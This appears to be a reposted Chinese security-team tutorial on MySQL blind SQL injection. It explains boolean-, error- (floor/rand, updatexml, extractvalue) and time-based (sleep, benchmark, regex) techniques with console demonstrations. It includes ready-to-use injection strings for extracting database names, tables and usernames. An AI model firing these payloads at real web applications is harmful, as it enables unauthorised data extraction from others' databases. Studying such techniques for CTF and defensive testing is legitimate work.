社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

mysql盲注总结

ChaMd5安全团队 • 4 年前 • 393 次点击  


前言

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类:

  • 基于布尔 SQL 盲注

  • 基于时间的 SQL 盲注

  • 基于报错的 SQL 盲注

基于布尔的盲注——构造逻辑判断

非正则匹配注入

可以利用逻辑函数进行判断,常用的函数有left()mid()substr()left()函数

Left ( string, n )    string为要截取的字符串,n为长度。

Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

mysql> select left(database(),1)='s';

//猜数据库名字的第一个字母,正确返回1;

+------------------------+
| left(database(),1)='s' |
+------------------------+
|                      1 |
+------------------------+

mysql> select left(database(),1)>'s';

//猜数据库名字的第一个字母,错误返回1;

+------------------------+
| left(database(),1)>'s' |
+------------------------+
|                      0 |
+------------------------+

这里还要介绍一下另外两个函数ord()resever()函数ord()函数

mysql> select ord('s');
+----------+
| ord('s') |
+----------+
|      115 |
+----------+

所以这里也可以把ord()left()函数联合使用

mysql> select ord(left(database(),1))=115;
+-----------------------------+
| ord(left(database(),1))=115 |
+-----------------------------+
|                           1 |
+-----------------------------+

resever()函数

mysql> select left(reverse(database()),1)='y';

+---------------------------------+

| left(reverse(database()),1)='y' |
+---------------------------------+
|                               1 |
+---------------------------------+

可以用在盲注的时候,显示位数不够多的时候,采用resever()获取flag值。

mid()函数

mid(column_name,start[,length]),此函数为截取字符串一部分。

参数:column_name:必需,要提取字符的字段。

start:必需,规定开始位置。

length:可选,要返回的字符数。如果省略,则mid()函数返回剩余文本。

Sql用例:

(1)mid(database(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

mysql> select mid(database(),1,1)='s';

//判断数据库第一个单词

+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
|                       1 |
+-------------------------+

mysql> select mid(database(),1,2);

//查看数据库名称前两位

+---------------------+
| mid(database(),1,2) |
+---------------------+
| se                 |
+---------------------+
1 row in set (0.00 sec)

mysql> select mid(database(),2,1);

//查看数据库名称第二位

+---------------------+
| mid(database(),2,1) |
+---------------------+
| e                   |
+---------------------+

substr()函数

substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

mysql> select substr(database(),1,2);
+------------------------+
| substr(database(),1,2) |
+------------------------+
| se                     |
+------------------------+

这里再介绍一个函数ascii()作用和ord()函数一致

mysql> select ascii(substr(database(),1,1))=115;

//猜测数据库名称第一个单词的ascii码值

+-----------------------------------+
| ascii(substr(database(),1,1))=115 |
+-----------------------------------+
|                                 1 |
+-----------------------------------+

mysql> select ord('s');

// 将字符转为ascii码值

+----------+
| ord('s') |
+----------+
|      115 |
+----------+

mysql> select ascii('s');

//将字符转为ascii码值

+------------+
| ascii('s') |
+------------+
|        115 |
+------------+

正则匹配注入&like注入

regexp()正则注入

用法介绍::select user() regexp '^[a-z]';

例如

mysql> select user(); //获取user
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select user() regexp '^ro';

//利用正则表达式判断user是否为'ro'开始

+---------------------+
| user() regexp '^ro' |
+---------------------+
|                   1 |
+---------------------+

MySQL 的正则表达式匹配(自3.23.4版本后)不区分大小写(即大写和小写都匹配)。为区分大小写,可以使用 BINARY 关键字,例如:

mysql> select 'Hello' regexp '^h';

//不区分大小写的匹配

+---------------------+
| 'Hello' regexp '^h' |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select 'Hello' regexp binary '^h';

//区分大小写的匹配

+----------------------------+
| 'Hello' regexp binary '^h' |
+----------------------------+
|                         0 |
+----------------------------+

其中可以使用的正则表达式有

特殊字符

字符其他信息
$匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 字符本身,请使用 $
( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 ()
*匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 +
.匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 .
[标记一个中括号表达式的开始。要匹配 [,请使用 [
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 +
?匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。
\将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\' 匹配 "\",而 '(' 则匹配 "("。
{标记限定符表达式的开始。要匹配 {,请使用 {
|指明两项之间的一个选择。要匹配
^匹配输入字符串的开始位置,除非在方括号表达式中使用,当该符号在方括号表达式中使用时,表示不接受该方括号表达式中的字符集合。要匹配 ^ 字符本身,请使用 \^。

注意

^ 符号的双重用途:^在集合中(用 [ ] 定义)时用它来否定该集合,否则用来指定串的开始处

限定符

限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有 *+?{n}{n,}{n,m}共6种。

//正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
// 判断第一个表名的第一个字符是否是a-z中的字符,其中security是假设已知的库名。
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0, 1;
+---+
| 1 |
+---+
| 1 |
+---+

// 判断第一个表名的第一个字符是否是a-n中的字符
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

// 判断第一个表名的第一个字符是否是f-n中的字符
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[f-n]' limit 0,1;
Empty set (0.00 sec)

//确定该字符为'e'
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^e' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

like匹配注入

和上述的正则类似,mysql 在匹配的时候我们可以用like进行匹配。

like的常用通配符有:%、_、escape

% : 匹配0个或任意多个字符;_ : 匹配任意一个字符;

mysql> select database() like "se%";
+-----------------------+
| database() like "se%" |
+-----------------------+
|                     1 |
+-----------------------+

基于报错的盲注

基于报错的盲注就是构造payload让信息通过错误提示回显出来,主要有floor()报错、exp()报错、updatexml()报错

floor()报错

count():返回匹配指定条件的行数,

语法格式为:SELECT COUNT(column_name) FROM table_name

SELECT COUNT(*) FROM table_name

//返回users表中的行数
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|       13 |
+----------+

floor()floor()ceil()相反,产生小于或等于指定值(value)的最小整数。

语法格式:select floor(value)

mysql> select floor(1.2);
+------------+
| floor(1.2) |
+------------+
|         1 |
+------------+

round()用于把数值字段舍入为指定的小数位数。

语法格式:SELECT ROUND(column_name,decimals) FROM table_name

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+

where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。

这里可以使用

//报错显示user为root@localhost
mysql> Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
ERROR 1062 (23000): Duplicate entry '::root@localhost::1' for key 'group_key'

//也可以简化成这样的形式,
mysql> select count(*) from information_schema.tables group by concat(user(), floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'

我们可以深入了解一下这个语句,首先分析floor(rand(0)*2)

  • rand()会随机产生[0,1)之间的浮点数;

  • rand()可以自己设置随机种子,这时候的rand()产生的是伪随机数(实际上每次结果出来都是一致的)

  • floor(N)会返回一个小于或等于传入参数N的最大整数(相当于截断小数部分)


mysql> select floor(rand(0)*2) from information_schema.schemata;
+------------------+
| floor(rand(0)*2) |
+------------------+
|               0 |
|               1 |
|               1 |
|               0 |
|               1 |
|               1 |
|               0 |
|               0 |
|               1 |
|               1 |
|               1 |
|               0 |
|               1 |
+------------------+
13 rows in set (0.00 sec)

mysql> select count(*) from information_schema.schemata;
+----------+
| count(*) |
+----------+
|       13 |
+----------+

所以这个表达式会information_schmea.schemata数据库内的每张表随机产生不同的结果

接下来分析一下concat函数

已经知道concat函数将字符串拼接起来的,所以我们使用0x3a来分割字符串,这里的0x3a是字符:的ascii码

mysql> select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2));
+------------------------------------------------------------------+
| concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) |
+------------------------------------------------------------------+
| ::security::0                                                   |
+------------------------------------------------------------------+

//更改一下名字
mysql> select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a;
+---------------+
| a             |
+---------------+
| ::security::0 |
+---------------+

//也可以省去as
mysql> select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) a;
+---------------+
| a             |
+---------------+
| ::security::0 |
+---------------+

接下来继续分析

group by a这个语句的意思是,按照a的规则对数据进行分组,在分组的时候,mysql会建立一个临时空表用于分组,在查询到新的键不在虚拟表中,数据库就会将其插入表中,如果数据库内已经存在该键值,则找到该键对应的计数字段加1,并且特别注意group by后面的字段是虚拟表的主键,也就是说它是不能重复的

新建的虚拟表一般如下

键值计数






这里报错原因是在于rand()函数再查询的时候会执行一次,插入的时候还会执行一次。因为我们使用了rand(0),所以在查询虚拟表之前会先执行一下rand(0),得到结果为0,因为此时的表为空,所以插入该语句

::security::0,此时的表中没有键值为::security::0的表项,所以插入上表,此时的rand()会在插入的时候再执行一次,所以原本的floor(rand(0)*2)变为1(此处参考floor的函数分析,故插入的值为::security::1,并且计数为1

现在的表是这样的

键值计数
::security::11

这是我们扫描原始表的第二项,计算获得键值为::security::1,无需再插入,计数+1

键值计数
::security::12

接着扫描第三次,依然是获得键值为::security::1,无需再计算,计数+1

键值计数
::security::13

接着扫描第四次,此时的floor(rand(0)*2)结果为0,获得键值为::security::0,而新的虚拟表中不存在::security::0,所以要执行插入,问题就是出现在这里,当执行插入之后,mysql再次执行了floor(rand(0)*2)获得了1,那么实际上插入的键值就从原来的::security::0变为::security::1,也就意味着键值相同依然执行了插入,group by语句报错,在报错的时候会出现重复的键值,即可获得我们想要的字符串::security::0,故成功执行了报错注入。

exp报错:根本不建议使用,对版本要求太高

select exp(~(select * FROM(SELECT USER())a));

updatexml报错:

用法介绍:updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值

需要注意的是XPATH语法报错的是那些特殊字符,遇到特殊字符会报错,所以选择了ascii码为0x7e的字符~

另外,updatexml最多只能显示32位,需要配合SUBSTR或者reserve使用。

mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~'

//假设数据库名过长看,使用substr()
mysql> select updatexml(1,concat(0x7e,(substr((select database()),1,5)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~secur~'
mysql> select updatexml(1,concat(0x7e,(substr((select database()),5,12)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~rity~'
//报错表内数据名
mysql> select updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

在注入时的用法

1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);

extractvalue报错:同updatexml一样,限制长度也是32位

用法介绍:EXTRACTVALUE(XML_document, XPath_string);

函数解释:

  extractvalue():从目标XML中返回包含所查询值的字符串。  EXTRACTVALUE (XML_document, XPath_string);   第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc   第二个参数:XPath_string (Xpath格式的字符串)  concat:返回结果为连接参数产生的字符串。    0x7e:ASCII码,实为~,extractvalue()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,

mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~security~'

mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema~'

mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~8cmsdata~'

在注入时的用法

1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))

 贴出各个报错注入可以实现的各个版本要求

基于时间的盲注

延时注入常用的函数有sleep()benchmark()

在此之前先引入一个新的概念if语句

if语句

用法介绍:if(expr1,expr2,expr3)

如果expr1的结果为true,则执行expr2,反之执行expr3

mysql> select if((database()='security'),1,sleep(4));
+----------------------------------------+
| if((database()='security'),1,sleep(4)) |
+----------------------------------------+
|                                     1 |
+----------------------------------------+
1 row in set (0.04 sec)

mysql> select if((database()='security'),sleep(4),0);
+----------------------------------------+
| if((database()='security'),sleep(4),0) |
+----------------------------------------+
|                                     0 |
+----------------------------------------+
1 row in set (4.00 sec)

sleep()函数

用法介绍:sleep(duration)

参数duration是只休眠的时长,以秒为单位,duration可以是整数也可以是小数

//休眠4秒后获得结果
mysql> select sleep(4);
+----------+
| sleep(4) |
+----------+
|        0 |
+----------+
1 row in set (4.00 sec)

//在正确的情况下,休眠2秒后获得结果
mysql> select sleep(2),database();
+----------+------------+
| sleep(2) | database() |
+----------+------------+
|        0 | security   |
+----------+------------+
1 row in set (2.00 sec)

//报错的情况下则不延迟
mysql> select sleep(2),datbase();
ERROR 1305 (42000): FUNCTION security.datbase does not exist

上述分析可得,我们可以通过延迟来判断payload是否能正确注入

用例介绍:一般配合ascii()ord()if语句使用

1' and sleep(5) %23 //判断注入类型

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) %23//猜测数据库名称

1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) %23 //猜测数据库中表的数量

benchmark()函数

用法介绍:benchmark(count,expr)

count参数代表的是执行的次数,expr参数代表的是执行的表达式

mysql> select benchmark(6,sleep(1));
+-----------------------+
| benchmark(6,sleep(1)) |
+-----------------------+
|                     0 |
+-----------------------+
1 row in set (6.00 sec)

一般在注入中,也是配合if语句和其他函数使用

//猜测数据库名称长度
mysql> select if(length(database())=6,(select benchmark(10000000,md5(0x41))),0);
+-------------------------------------------------------------------+
| if(length(database())=6,(select benchmark(10000000,md5(0x41))),0) |
+-------------------------------------------------------------------+
|                                                                 0 |
+-------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select if(length(database())=8,(select benchmark(10000000,md5(0x41))),0);
+-------------------------------------------------------------------+
| if(length(database())=8,(select benchmark(10000000,md5(0x41))),0) |
+-------------------------------------------------------------------+
|                                                                 0 |
+-------------------------------------------------------------------+
1 row in set (1.89 sec)

还有其他的方式,比如

笛卡尔积

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*)   |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

get_lock()函数

用法介绍:get_lock(str,timeout)

get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。在一个session中锁定变量,同时通过另外一个session执行,将会产生延时。

打开两个mysql shell,在第一个shell中执行命令mysql> select get_lock('test',5);上锁,然后另一个shell中执行重复的命令,就会成功演示

使用这种方法进行诸如判断时,必须要提供长连接,即mysql_pconnect

rlike

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

rpad()

用法介绍:rpad(str,len,padstr)

rpad(str,len,padstr) 返回字符串 str, 其右边由字符串padstr 填补到len 字符长度。假如str 的长度大于len, 则返回值被缩短至 len 字符。

mysql> select rpad('a',3,'b');
+-----------------+
| rpad('a',3,'b') |
+-----------------+repeat
| abb             |
+-----------------+
1 row in set (0.00 sec)

repeat()

用法介绍:repeat(str,count)

返回由字符串str重复count次的字符串, 如果计数小于1,则返回一个空字符串。返回NULL如果str或count为NULL。

mysql> select repeat('sql',3);
+-----------------+
| repeat('sql',3) |
+-----------------+
| sqlsqlsql       |
+-----------------+

rlike用法

用法介绍:

like不同的是,like的内容不是正则,而是通配符。

rlike用法和regexp用法基本相同

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.22 sec)

因为正则多次会消耗计算资源,所以采用正则方式实现延时

select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

等同于sleep(6)

这里我想到,既然rlikeregexp用法相同,所以我们也可以使用regexp来实现sleep(6)的小效果

select ((concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')))a) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';

果然可以。

end


ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org




Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/72154
 
393 次点击